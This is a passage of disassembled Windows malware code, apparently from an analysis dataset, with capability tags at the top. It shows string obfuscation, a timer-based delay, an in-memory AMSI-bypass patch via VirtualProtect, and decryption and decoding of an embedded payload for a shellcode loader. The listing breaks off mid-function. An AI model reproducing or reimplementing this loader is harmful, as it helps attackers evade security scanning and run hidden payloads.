Function at 0x1400070a0
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x5c8
movaps xmmword [rsp + 0x5b0], xmm6
lea r14, [0x1400515c4]
lea rsi, [rsp + 0x1b0]
movabs r15, 0x9be7bfefd9e20fe
mov r12, qword [sym.imp.kernel32.dll_LoadLibraryA]
mov r13, qword [sym.imp.kernel32.dll_CreateWaitableTimerExW]
mov rbp, qword [sym.imp.kernel32.dll_Sleep]
jmp 0x140007109
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
mov ecx, 0x3e8
call rbp
test rdi, rdi
jne 0x1400071f8
mov qword [rsp + 0x1b0], r14
mov rcx, qword [rsp + 0x1b0]
mov dword [rsp + 0x1b0], 0x850505be
mov edx, dword [rsp + 0x1b0]
call fcn.14000aa80
mov rcx, qword [rax]
xor rcx, r15
movzx eax, byte [rax + 8]
xor al, 0x5e
mov qword [rsp + 0x1b0], rcx
mov byte [rsp + 0x1b8], al
mov rcx, rsi
call r12
mov rdi, rax
mov qword [rsp + 0x30], rax
xor ecx, ecx
xor edx, edx
mov r8d, 2
mov r9d, 0x1f0003
call r13
test rax, rax
je 0x1400070f9
mov rbx, rax
mov qword [rsp + 0x1b0], 0xffffffffff676980
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rcx, rax
mov rdx, rsi
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.kernel32.dll_SetWaitableTimer]
test eax, eax
je 0x1400070f0
mov rcx, rbx
mov edx, 0xffffffff
call qword [sym.imp.kernel32.dll_WaitForSingleObject]
mov rsi, r13
mov r13, r12
mov r12, r15
mov r15, r14
mov r14, rbp
mov ebp, eax
mov rcx, rbx
call qword [sym.imp.kernel32.dll_CloseHandle]
cmp ebp, 0xffffffff
mov rbp, r14
mov r14, r15
mov r15, r12
mov r12, r13
mov r13, rsi
lea rsi, [rsp + 0x1b0]
jne 0x140007100
jmp 0x1400070f9
lea rax, [rsp + 0x30]
mov qword [rsp + 0x80], rax
lea rax, [0x140003b50]
mov qword [rsp + 0x88], rax
lea rax, str.Found_amsi__n
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], 2
mov qword [rsp + 0x1d0], 0
lea rax, [rsp + 0x80]
mov qword [rsp + 0x1c0], rax
mov qword [rsp + 0x1c8], 1
lea rcx, [rsp + 0x1b0]
call fcn.14000e350
mov rsi, qword [rsp + 0x30]
lea rax, [0x14004fd83]
mov qword [rsp + 0x1b0], rax
lea rax, [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b0]
mov dword [rsp + 0x1b0], 0x2752ff57
mov edx, dword [rsp + 0x1b0]
call fcn.14000aa60
movabs rcx, 0xba524f67037b2cf5
xor rcx, qword [rax]
mov edx, 0x846401b8
xor edx, dword [rax + 8]
movzx r8d, byte [rax + 0xe]
movzx eax, word [rax + 0xc]
mov r9d, eax
shr r9d, 8
xor al, 0xb1
xor r9b, 0x71
xor r8b, 0x33
mov qword [rsp + 0x1b0], rcx
mov dword [rsp + 0x1b8], edx
mov byte [rsp + 0x1bc], al
mov byte [rsp + 0x1bd], r9b
mov byte [rsp + 0x1be], r8b
lea rdx, [rsp + 0x1b0]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
mov rdi, rax
mov dword [rsp + 0x1b0], 0
lea rsi, [rsp + 0x1b0]
mov edx, 0x1000
mov rcx, rax
mov r8d, 0x40
mov r9, rsi
call sub.kernel32.dll_VirtualProtect
movabs rax, 0xc300000001c0c748
mov qword [rdi], rax
mov r8d, dword [rsp + 0x1b0]
mov edx, 0x1000
mov rcx, rdi
mov r9, rsi
call sub.kernel32.dll_VirtualProtect
call qword [sym.imp.kernel32.dll_GetCommandLineW]
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 8
mov qword [rsp + 0x68], 0
test rax, rax
je 0x140007839
movzx ebp, word [rax]
test bp, bp
je 0x140007839
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
add rax, 2
mov ecx, 2
xor esi, esi
lea rdi, [rsp + 0x30]
xor ebx, ebx
jmp 0x1400073db
mov word [rcx + rsi*2], bp
inc rsi
mov qword [rsp + 0x40], rsi
movzx ebp, word [r12]
lea rax, [r12 + 2]
test bp, bp
je 0x140007434
mov r12, rax
cmp bp, 9
je 0x140007410
movzx eax, bp
cmp eax, 0x20
je 0x140007410
cmp eax, 0x22
jne 0x140007415
not bl
and bl, 1
movzx ebp, word [r12]
lea rax, [r12 + 2]
test bp, bp
jne 0x1400073db
jmp 0x140007434
test bl, 1
je 0x140007434
cmp rsi, qword [rsp + 0x30]
jne 0x1400073c0
mov rcx, rdi
call fcn.14000df50
mov rcx, qword [rsp + 0x38]
jmp 0x1400073c0
add r12, 2
movzx eax, word [r12]
cmp eax, 0x20
je 0x140007430
cmp eax, 9
je 0x140007430
mov rdx, qword [rsp + 0x38]
lea rcx, [rsp + 0x1b0]
mov r8, rsi
call fcn.14000e9c0
mov rsi, qword [rsp + 0x68]
cmp rsi, qword [rsp + 0x58]
jne 0x14000746e
lea rcx, [rsp + 0x58]
call fcn.14000e0c0
mov rax, qword [rsp + 0x60]
mov rcx, rsi
shl rcx, 5
movdqu xmm0, xmmword [rsp + 0x1b0]
movdqu xmm1, xmmword [rsp + 0x1c0]
movdqu xmmword [rax + rcx + 0x10], xmm1
movdqu xmmword [rax + rcx], xmm0
inc rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x88], 2
mov qword [rsp + 0x90], 0
movzx r13d, word [r12]
test r13w, r13w
je 0x140007b49
mov r15d, 2
xor r14d, r14d
lea rbx, [rsp + 0x80]
movaps xmm6, xmmword [0x140023500]
xor ebp, ebp
jmp 0x140007519
mov r15, qword [rsp + 0x88]
mov word [r15 + r14*2], r13w
inc r14
mov qword [rsp + 0x90], r14
movzx r13d, word [rdi]
mov r12, rdi
test r13w, r13w
je 0x140007b36
lea rdi, [r12 + 2]
movzx eax, r13w
cmp eax, 0x21
jg 0x1400075e0
cmp eax, 9
je 0x140007539
cmp eax, 0x20
jne 0x1400076f0
test bpl, 1
jne 0x1400076f0
mov r15, qword [rsp + 0x88]
lea rcx, [rsp + 0x1b0]
mov rdx, r15
mov r8, r14
call fcn.14000e9c0
mov rsi, qword [rsp + 0x68]
cmp rsi, qword [rsp + 0x58]
jne 0x140007574
lea rcx, [rsp + 0x58]
call fcn.14000e0c0
mov rax, qword [rsp + 0x60]
mov rcx, rsi
shl rcx, 5
movdqu xmm0, xmmword [rsp + 0x1b0]
movdqu xmm1, xmmword [rsp + 0x1c0]
movdqu xmmword [rax + rcx + 0x10], xmm1
movdqu xmmword [rax + rcx], xmm0
inc rsi
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x90], 0
jmp 0x1400075c4
add rdi, 2
movzx r13d, word [rdi]
cmp r13d, 0x20
je 0x1400075c0
cmp r13d, 9
je 0x1400075c0
xor r14d, r14d
jmp 0x14000750c
cmp eax, 0x22
je 0x14000770b
cmp eax, 0x5c
jne 0x1400076f0
movzx eax, word [rdi]
xor esi, esi
cmp ax, 0x5c
jne 0x140007613
nop dword [rax]
add rdi, 2
movzx eax, word [r12 + rsi*2 + 4]
inc rsi
cmp ax, 0x5c
je 0x140007600
lea r12, [rsi + 1]
cmp ax, 0x22
jne 0x140007719
mov r13, r12
shr r13, 1
mov rax, qword [rsp + 0x80]
sub rax, r14
cmp rax, r13
jb 0x1400077df
cmp r12, 2
jb 0x14000769f
mov r15, qword [rsp + 0x88]
cmp r12, 0x20
jb 0x140007690
movabs rax, 0x8000000000000000
add rax, 0xfffffffffffffff0
and rax, r13
lea rcx, [r15 + r14*2]
add rcx, 0x10
add r14, rax
xor edx, edx
nop dword [rax]
movups xmmword [rcx + rdx*2 - 0x10], xmm6
movups xmmword [rcx + rdx*2], xmm6
add rdx, 0x10
cmp rax, rdx
jne 0x140007670
cmp r13, rax
je 0x14000769f
and r13d, 0xf
nop dword [rax + rax]
mov word [r15 + r14*2], 0x5c
inc r14
dec r13
jne 0x140007690
mov qword [rsp + 0x90], r14
test sil, 1
jne 0x140007508
xor esi, esi
cmp word [rdi], 0
setne r15b
cmp r14, qword [rsp + 0x80]
jne 0x1400076cd
mov rcx, rbx
call fcn.14000df50
mov sil, r15b
lea rdi, [rdi + rsi*2]
mov r15, qword [rsp + 0x88]
mov word [r15 + r14*2], 0x22
jmp 0x1400074fd
cmp r14, qword [rsp + 0x80]
jne 0x1400074f0
mov rcx, rbx
call fcn.14000df50
jmp 0x1400074f0
test bpl, 1
jne 0x140007784
mov bpl, 1
jmp 0x140007508
mov rax, qword [rsp + 0x80]
sub rax, r14
cmp rax, r12
jb 0x14000780c
test r12, r12
je 0x140007500
cmp r12, 0x10
jb 0x140007770
mov rax, r12
and rax, 0xfffffffffffffff0
lea rcx, [r15 + r14*2]
add rcx, 0x10
add r14, rax
xor edx, edx
movups xmmword [rcx + rdx*2 - 0x10], xmm6
movups xmmword [rcx + rdx*2], xmm6
add rdx, 0x10
cmp rax, rdx
jne 0x140007750
cmp r12, rax
je 0x140007500
and r12d, 0xf
nop
mov word [r15 + r14*2], 0x5c
inc r14
dec r12
jne 0x140007770
jmp 0x140007500
movzx r13d, word [rdi]
cmp r13d, 0x22
je 0x14000779e
test r13d, r13d
je 0x140007b71
xor ebp, ebp
jmp 0x14000750c
cmp r14, qword [rsp + 0x80]
jne 0x1400077b0
mov rcx, rbx
call fcn.14000df50
mov r15, qword [rsp + 0x88]
mov word [r15 + r14*2], 0x22
inc r14
mov qword [rsp + 0x90], r14
lea rax, [r12 + 4]
cmp word [r12 + 2], 0
cmovne rdi, rax
jmp 0x140007508
mov rcx, rbx
mov rdx, r14
mov r8, r13
call fcn.140021ce0
mov r14, qword [rsp + 0x90]
mov r15, qword [rsp + 0x88]
cmp r12, 0x20
jb 0x140007690
jmp 0x14000764f
mov rcx, rbx
mov rdx, r14
mov r8, r12
call fcn.140021ce0
mov r15, qword [rsp + 0x88]
mov r14, qword [rsp + 0x90]
cmp r12, 0x10
jb 0x140007770
jmp 0x14000773c
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x40], 0
mov r8d, 0x200
mov eax, 2
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [rsp + 0xf8], rax
mov rsi, qword [sym.imp.kernel32.dll_SetLastError]
mov rdi, qword [sym.imp.kernel32.dll_GetModuleFileNameW]
mov r12d, 0xffffffff
xor ebp, ebp
xor ebx, ebx
cmp r8, 0x201
jb 0x1400078af
jmp 0x1400078d0
jae 0x14000799e
cmp r8, 0x201
jae 0x1400078d0
mov r13d, 0x200
lea r14, [rsp + 0x1b0]
mov r15, r8
jmp 0x140007903
sub r8, rbx
sub rbp, rbx
cmp rbp, r8
jb 0x140007975
mov rbp, qword [rsp + 0xf8]
cmp rbp, r12
mov ebx, 0xffffffff
cmovb rbx, rbp
mov qword [rsp + 0x40], rbx
mov r13, rbx
mov r14, qword [rsp + 0x78]
mov r15, rbx
xor ecx, ecx
call rsi
xor ecx, ecx
mov rdx, r14
mov r8d, r15d
call rdi
test eax, eax
jne 0x14000793b
mov r12, rdi
mov rdi, rsi
mov esi, eax
call qword [sym.imp.kernel32.dll_GetLastError]
mov ecx, eax
mov eax, esi
mov rsi, rdi
mov rdi, r12
mov r12d, 0xffffffff
test ecx, ecx
jne 0x140007afd
mov r8d, eax
cmp r15, r8
jne 0x1400078a0
call qword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
jne case.0x140008b5c.2
add r15, r15
cmp r15, r12
cmovae r15, r12
mov r8, r15
cmp r8, 0x201
jb 0x1400078af
jmp 0x1400078d0
lea rcx, [rsp + 0x30]
mov rdx, rbx
call fcn.140021ce0
mov rax, qword [rsp + 0x30]
mov qword [rsp + 0xf8], rax
mov rax, qword [rsp + 0x38]
mov qword [rsp + 0x78], rax
jmp 0x1400078df
cmp r13, r8
jb case.0x140008b5c.2
lea rcx, [rsp + 0x80]
mov rdx, r14
call fcn.14000e9c0
cmp qword [rsp + 0x30], 0
movabs rsi, 0x8000000000000000
je 0x1400079dd
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r15, qword [rsp + 0x80]
mov rax, qword [rsp + 0x88]
cmp r15, rsi
jne 0x140007a6e
mov ecx, eax
and ecx, 3
mov r14d, 1
mov bl, 1
xor edi, edi
lea rdx, [rcx - 2]
cmp rdx, 2
jb 0x140007a5a
test rcx, rcx
je 0x140007a5a
lea rsi, [rax - 1]
mov rdi, qword [rax - 1]
mov r15, qword [rax + 7]
mov rcx, rdi
call qword [r15]
cmp qword [r15 + 8], 0
je 0x140007a46
cmp qword [r15 + 0x10], 0x11
jb 0x140007a34
mov rdi, qword [rdi - 8]
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rcx, qword [0x14005eb20]
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
xor r15d, r15d
mov rax, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
cmp rsi, rax
je 0x140007aac
jmp 0x140007abb
mov rdi, qword [rsp + 0x90]
movzx ebx, byte [rsp + 0x98]
mov ecx, dword [rsp + 0x99]
mov dword [rsp + 0x1b0], ecx
mov ecx, dword [rsp + 0x9c]
mov dword [rsp + 0x1b3], ecx
mov r14, rax
mov rax, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x68]
cmp rsi, rax
jne 0x140007abb
lea rcx, [rsp + 0x58]
call fcn.14000e0c0
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0x78], rax
mov rbp, qword [rsp + 0x60]
mov rax, rsi
shl rax, 5
mov qword [rbp + rax], r15
mov qword [rbp + rax + 8], r14
mov qword [rbp + rax + 0x10], rdi
mov byte [rbp + rax + 0x18], bl
mov ecx, dword [rsp + 0x1b0]
mov edx, dword [rsp + 0x1b3]
mov dword [rbp + rax + 0x19], ecx
mov dword [rbp + rax + 0x1c], edx
inc rsi
jmp 0x140007c19
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x88], rax
movabs rsi, 0x8000000000000000
mov qword [rsp + 0x80], rsi
cmp qword [rsp + 0x30], 0
jne 0x1400079c9
jmp 0x1400079dd
test bpl, 1
sete al
mov rsi, qword [rsp + 0x68]
test r14, r14
je 0x140007b53
jmp 0x140007b76
mov al, 1
xor r14d, r14d
test r14, r14
jne 0x140007b76
test al, al
je 0x140007b76
mov rbp, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x58]
cmp qword [rsp + 0x80], 0
jne 0x140007be1
jmp 0x140007bf8
mov rsi, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x88]
lea rcx, [rsp + 0x1b0]
mov r8, r14
call fcn.14000e9c0
cmp rsi, qword [rsp + 0x58]
jne 0x140007b9f
lea rcx, [rsp + 0x58]
call fcn.14000e0c0
mov rbp, qword [rsp + 0x60]
mov rax, rsi
shl rax, 5
movdqu xmm0, xmmword [rsp + 0x1b0]
movdqu xmm1, xmmword [rsp + 0x1c0]
movdqu xmmword [rbp + rax + 0x10], xmm1
movdqu xmmword [rbp + rax], xmm0
inc rsi
mov qword [rsp + 0x68], rsi
mov rdi, qword [rsp + 0x58]
cmp qword [rsp + 0x80], 0
je 0x140007bf8
mov r8, qword [rsp + 0x88]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0x30], 0
je 0x140007c14
mov r8, qword [rsp + 0x38]
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rsp + 0x78], rdi
mov r12, rsi
shl r12, 5
lea r15, [r12 + rbp]
mov r13, rbp
test rsi, rsi
je 0x140007c43
lea r13, [rbp + 0x20]
mov rsi, qword [rbp]
movabs rax, 0x8000000000000000
cmp rsi, rax
jne 0x140007ca9
sub r15, r13
mov rdi, qword [rsp + 0x78]
je 0x140007c81
shr r15, 5
add r13, 8
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140007c69
add r13, 0x20
dec r15
je 0x140007c81
cmp qword [r13 - 8], 0
je 0x140007c60
mov r8, qword [r13]
mov rcx, qword [0x14005eb20]
xor edx, edx
call rsi
jmp 0x140007c60
mov ebx, 8
test rdi, rdi
je 0x140007ecd
mov rcx, qword [0x14005eb20]
xor r14d, r14d
xor edx, edx
mov r8, rbp
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140007ed0
mov rbx, qword [rbp + 8]
mov rax, rbp
mov rbp, qword [rbp + 0x10]
mov qword [rsp + 0xf8], rax
cmp byte [rax + 0x18], 0
je 0x140008409
lea rax, [r12 - 0x20]
mov rcx, rax
shr rcx, 5
cmp rcx, 4
mov edi, 3
cmovae rdi, rcx
movabs rcx, 0xaaaaaaaaaaaaaa80
cmp rax, rcx
ja case.0x140008b5c.2
inc rdi
lea rax, [rdi*8]
lea rcx, [rax + rax*2]
movzx eax, byte [0x14005eb28]
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov rcx, rbp
shr rcx, 8
mov qword [rax], rsi
mov qword [rax + 8], rbx
mov byte [rax + 0x10], bpl
mov dword [rax + 0x11], ecx
mov rdx, rcx
shr rdx, 0x30
mov byte [rax + 0x17], dl
shr rcx, 0x20
mov word [rax + 0x15], cx
mov qword [rsp + 0x1b0], rdi
mov qword [rsp + 0x1b8], rax
add r12, 0xffffffffffffffc0
mov rcx, qword [rsp + 0xf8]
lea rbp, [rcx + 0x48]
mov esi, 1
lea r10, [rsp + 0x1b0]
jmp 0x140007dbe
cmp rsi, qword [rsp + 0x1b0]
je 0x140007e9a
mov rcx, rdi
shr rcx, 8
lea rdx, [rsi + rsi*2]
mov qword [rax + rdx*8], r14
mov qword [rax + rdx*8 + 8], r11
mov byte [rax + rdx*8 + 0x10], dil
mov dword [rax + rdx*8 + 0x11], ecx
mov r8, rcx
shr r8, 0x30
mov byte [rax + rdx*8 + 0x17], r8b
shr rcx, 0x20
mov word [rax + rdx*8 + 0x15], cx
inc rsi
add r12, 0xffffffffffffffe0
add rbp, 0x20
mov r13, rbx
mov qword [rsp + 0x1c0], rsi
cmp r13, r15
je 0x140007f11
lea rbx, [r13 + 0x20]
mov r14, qword [r13]
movabs rcx, 0x8000000000000000
cmp r14, rcx
je 0x140007edc
mov r11, qword [r13 + 8]
mov rdi, qword [r13 + 0x10]
cmp byte [r13 + 0x18], 0
jne 0x140007d70
test rdi, rdi
je 0x140007d70
lea rcx, [r11 + rdi]
mov r8, r11
jmp 0x140007e2c
add r8, 2
cmp rdx, rcx
cmovne rdx, r8
nop word [rax + rax]
mov r8, rdx
cmp rdx, rcx
je 0x140007d70
lea rdx, [r8 + 1]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x140007e20
cmp r9b, 0xe0
jb 0x140007e0f
cmp r9b, 0xed
jne 0x140007e6f
cmp rdx, rcx
je 0x140007d70
lea rdx, [r8 + 2]
cmp rdx, rcx
je 0x140007d70
cmp byte [r8 + 1], 0x9f
ja case.0x140008b5c.2
add r8, 3
mov rdx, r8
jmp 0x140007e20
add r8, 2
cmp rdx, rcx
cmove r8, rdx
xor edx, edx
cmp r8, rcx
setne dl
add rdx, r8
cmp r9b, 0xf0
jb 0x140007e20
xor r8d, r8d
cmp rdx, rcx
setne r8b
add rdx, r8
jmp 0x140007e20
mov r8, r15
sub r8, rbx
shr r8, 5
inc r8
mov rcx, r10
mov rdx, rsi
mov r13, r11
call fcn.140020ad0
mov r11, r13
lea r10, [rsp + 0x1b0]
mov rax, qword [rsp + 0x1b8]
jmp 0x140007d7e
xor r14d, r14d
xor eax, eax
mov qword [rsp + 0xf8], rax
jmp 0x140007f50
cmp r15, rbx
je 0x140007f11
shr r12, 5
mov rsi, qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140007ef9
add rbp, 0x20
dec r12
je 0x140007f11
cmp qword [rbp - 8], 0
je 0x140007ef0
mov r8, qword [rbp]
mov rcx, qword [0x14005eb20]
xor edx, edx
call rsi
jmp 0x140007ef0
cmp qword [rsp + 0x78], 0
je 0x140007f30
mov rcx, qword [0x14005eb20]
xor edx, edx
mov r8, qword [rsp + 0xf8]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x1b0]
mov qword [rsp + 0xf8], rax
mov rbx, qword [rsp + 0x1b8]
mov r14, qword [rsp + 0x1c0]
movzx eax, byte [0x14005eb28]
mov ecx, 0x2e00e
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov r15, rax
lea rdx, [0x140024abd]
mov r8d, 0x2e00e
mov rcx, rax
call fcn.140020090
pxor xmm0, xmm0
movdqa xmmword [rsp + 0x1e0], xmm0
movdqa xmmword [rsp + 0x1d0], xmm0
movdqa xmmword [rsp + 0x1c0], xmm0
movdqa xmmword [rsp + 0x1b0], xmm0
mov ecx, 0x55426c94
mov rax, 0xfffffffffffffffc
nop word cs:[rax + rax]
mov edx, ecx
shl edx, 0xd
xor edx, ecx
mov r8d, edx
shr r8d, 0x11
xor r8d, edx
mov ecx, r8d
shl ecx, 5
xor ecx, r8d
mov dword [rsp + rax + 0x1b4], ecx
add rax, 4
cmp rax, 0x3c
jb 0x140007fc0
mov rax, qword [rsp + 0x1b0]
mov rcx, qword [rsp + 0x1b8]
mov rdx, qword [rsp + 0x1c0]
mov r8, qword [rsp + 0x1c8]
mov r9, qword [rsp + 0x1d0]
mov r10, qword [rsp + 0x1d8]
mov r11, qword [rsp + 0x1e0]
mov rsi, qword [rsp + 0x1e8]
xor rax, qword [0x140052ae8]
xor rcx, qword [0x140052af0]
xor rdx, qword [0x140052af8]
xor r8, qword [0x140052b00]
xor r9, qword [0x140052b08]
xor r10, qword [0x140052b10]
xor r11, qword [0x140052b18]
xor rsi, qword [str.43MV_]
mov qword [rsp + 0x1b0], rax
mov qword [rsp + 0x1b8], rcx
mov qword [rsp + 0x1c0], rdx
mov qword [rsp + 0x1c8], r8
mov qword [rsp + 0x1d0], r9
mov qword [rsp + 0x1d8], r10
mov qword [rsp + 0x1e0], r11
mov qword [rsp + 0x1e8], rsi
xor eax, eax
movabs rcx, 0x101000000000000
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x130], r14
mov qword [rsp + 0x120], r15
mov r8, rax
or r8, 1
lea rdx, [rax + 2]
mov r9, rax
mov r10, r8
jmp 0x1400080ea
lea r10, [r9 + 1]
cmp r10, 0x40
jae 0x14000813a
cmp rax, r9
jne 0x140008127
movzx r9d, byte [rsp + r10 + 0x1b0]
bt rcx, r9
mov r9, rdx
jae 0x1400080e0
cmp byte [rsp + r8 + 0x1b0], 0x78
mov r9, r8
jne 0x1400080e0
cmp byte [rsp + rax + 0x1b0], 0x30
mov r9, rdx
jne 0x1400080e0
mov rax, rdx
cmp rdx, 0x40
jne 0x1400080c7
jmp 0x140008130
mov rsi, rax
sub rsi, 0x40
jne 0x140008144
mov edx, 3
jmp 0x140008309
mov esi, 0x40
sub rsi, rax
jmp 0x140008147
neg rsi
lea r15, [rsp + rax]
add r15, 0x1b0
cmp rsi, 2
mov edi, 2
cmovb rdi, rsi
movzx ecx, byte [rsp + rax + 0x1b0]
lea eax, [rcx - 0x41]
cmp al, 6
jae 0x140008173
add cl, 0xc9
jmp 0x140008181
lea eax, [rcx - 0x61]
cmp al, 6
jae 0x1400082db
add cl, 0xa9
mov ebx, ecx
movzx ecx, byte [r15 + 1]
lea eax, [rcx - 0x41]
cmp al, 6
jae 0x140008194
add cl, 0xc9
jmp 0x1400081a2
lea eax, [rcx - 0x61]
cmp al, 6
jae 0x1400082ed
add cl, 0xa9
mov ebp, ecx
movzx eax, byte [0x14005eb28]
mov ecx, 8
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
add r15, rdi
sub rsi, rdi
shl bl, 4
or bpl, bl
mov byte [rax], bpl
mov qword [rsp + 0x80], 8
mov qword [rsp + 0x88], rax
mov ebx, 1
lea r14, [rsp + 0x80]
jmp 0x140008218
add cl, 0xc9
mov r12d, ecx
cmp rbx, qword [rsp + 0x80]
je 0x1400082b3
add r15, rdi
sub rsi, rdi
shl bpl, 4
or r12b, bpl
mov byte [rax + rbx], r12b
inc rbx
mov qword [rsp + 0x90], rbx
test rsi, rsi
je 0x1400082d1
cmp rsi, 2
mov edi, 2
cmovb rdi, rsi
movzx ecx, byte [r15]
lea edx, [rcx - 0x41]
cmp dl, 6
jae 0x140008250
add cl, 0xc9
jmp 0x14000825b
lea edx, [rcx - 0x61]
cmp dl, 6
jae 0x140008260
add cl, 0xa9
mov ebp, ecx
jmp 0x14000826d
lea ebp, [rcx - 0x30]
cmp bpl, 0xa
jae 0x1400084a7
cmp rsi, 1
je case.0x140008b5c.2
movzx ecx, byte [r15 + 1]
lea edx, [rcx - 0x41]
cmp dl, 6
jb 0x1400081f0
lea edx, [rcx - 0x61]
cmp dl, 6
jae 0x1400082a0
add cl, 0xa9
jmp 0x1400081f3
lea r12d, [rcx - 0x30]
cmp r12b, 0xa
jb 0x1400081f6
jmp 0x1400084ad
mov r8d, 1
mov rcx, r14
mov rdx, rbx
call fcn.1400214c0
mov rax, qword [rsp + 0x88]
jmp 0x140008204
mov edx, 3
jmp 0x1400084b7
lea ebx, [rcx - 0x30]
cmp bl, 0xa
jb 0x140008183
xor eax, eax
xor edx, edx
jmp 0x140008301
lea ebp, [rcx - 0x30]
cmp bpl, 0xa
jb 0x1400081a4
xor edx, edx
mov eax, 1
mov r15, qword [rsp + 0x120]
mov r8d, 1
xor r13d, r13d
xor ebx, ebx
cmp edx, 3
je 0x1400084d8
mov dword [rsp + 0x108], edx
mov byte [rsp + 0x10c], cl
mov byte [rsp + 0x10f], 0
mov word [rsp + 0x10d], 0
mov qword [rsp + 0x110], rax
movabs rax, 0x8000000000000000
mov qword [rsp + 0x100], rax
test r13, r13
je 0x140008503
mov rcx, qword [0x14005eb20]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov r13, qword [rsp + 0x100]
movabs rax, 0x8000000000000000
cmp r13, rax
je 0x140008503
mov r14, qword [rsp + 0x108]
mov rsi, qword [rsp + 0x110]
cmp rsi, 0x20
jne 0x1400083b8
mov qword [rsp + 0x60], r13
mov qword [rsp + 0x68], r14
mov qword [rsp + 0x70], 0x20
jmp 0x1400088a7
lea rdi, [r14 + rsi]
test rsi, rsi
mov qword [rsp + 0x128], rsi
je 0x140008646
js case.0x140008b5c.2
movzx eax, byte [0x14005eb28]
mov rcx, rsi
call fcn.1400100e0
test rax, rax
je case.0x140008b5c.2
mov r12, rax
mov rcx, rax
mov rdx, r14
mov r8, rsi
call fcn.140020090
mov qword [rsp + 0x78], r12
add r12, rsi
jmp 0x1400086b0
test rbp, rbp
je 0x140007cc6
lea rax, [rbx + rbp]
mov rdx, rbx
jmp 0x14000843c
add rdx, 2
cmp rcx, rax
cmovne rcx, rdx
nop word cs:[rax + rax]
mov rdx, rcx
cmp rcx, rax
je 0x140007cc6
lea rcx, [rdx + 1]
movzx r8d, byte [rdx]
test r8b, r8b
jns 0x140008430
cmp r8b, 0xe0
jb 0x14000841b
cmp r8b, 0xed
jne 0x14000847e
cmp rcx, rax
je 0x140007cc6
lea rcx, [rdx + 2]
cmp rcx, rax
je 0x140007cc6
cmp byte [rdx + 1], 0x9f
ja case.0x140008b5c.2
add rdx, 3
mov rcx, rdx
jmp 0x140008430
add rdx, 2
cmp rcx, rax
cmove rdx, rcx
xor ecx, ecx
cmp rdx, rax
setne cl
add rcx, rdx
cmp r8b, 0xf0
jb 0x140008430
xor edx, edx
cmp rcx, rax
setne dl
add rcx, rdx
jmp 0x140008430
lea rax, [rbx + rbx]
jmp 0x1400084b5
lea rax, [rbx*2 + 1]
xor edx, edx
mov r13, qword [rsp + 0x80]
mov r8, qword [rsp + 0x88]
mov r15, qword [rsp + 0x120]
cmp edx, 3
jne 0x14000831d
mov qword [rsp + 0x100], r13
mov qword [rsp + 0x108], r8
mov qword [rsp + 0x110], rbx
movabs rax, 0x8000000000000000
cmp r13, rax
jne 0x14000838a
mov eax, dword [rsp + 0x108]
mov ecx, dword [rsp + 0x10c]
mov rdx, qword [rsp + 0x110]
mov qword [rsp + 0xe0], 0
mov qword [rsp + 0xe8], 1
mov qword [rsp + 0xf0], 0
test eax, eax
je 0x140008564
cmp eax, 1
jne 0x140008603
lea rdx, str.Odd_number_of_digitsInvalid_string_length
lea rcx, [rsp + 0xe0]
mov r8d, 0x14
jmp 0x140008618
mov dword [rsp + 0x140], ecx
mov qword [rsp + 0x160], rdx
lea rax, [rsp + 0x140]
mov qword [rsp + 0x30], rax
lea rax, [0x140004d40]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x160]
mov qword [rsp + 0x40], rax
lea rax, [0x140005720]
mov qword [rsp + 0x48], rax
lea rax, [0x1400248f0]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], 2
mov qword [rsp + 0xa0], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 2
lea rdx, [0x140024970]
lea rcx, [rsp + 0xe0]
lea r8, [rsp + 0x80]
call fcn.140003bf0
jmp 0x14000861d
lea rdx, [0x140024924]
lea rcx, [rsp + 0xe0]
mov r8d, 0x15
call fcn.1400013f0
test al, al
jne case.0x140008b5c.2
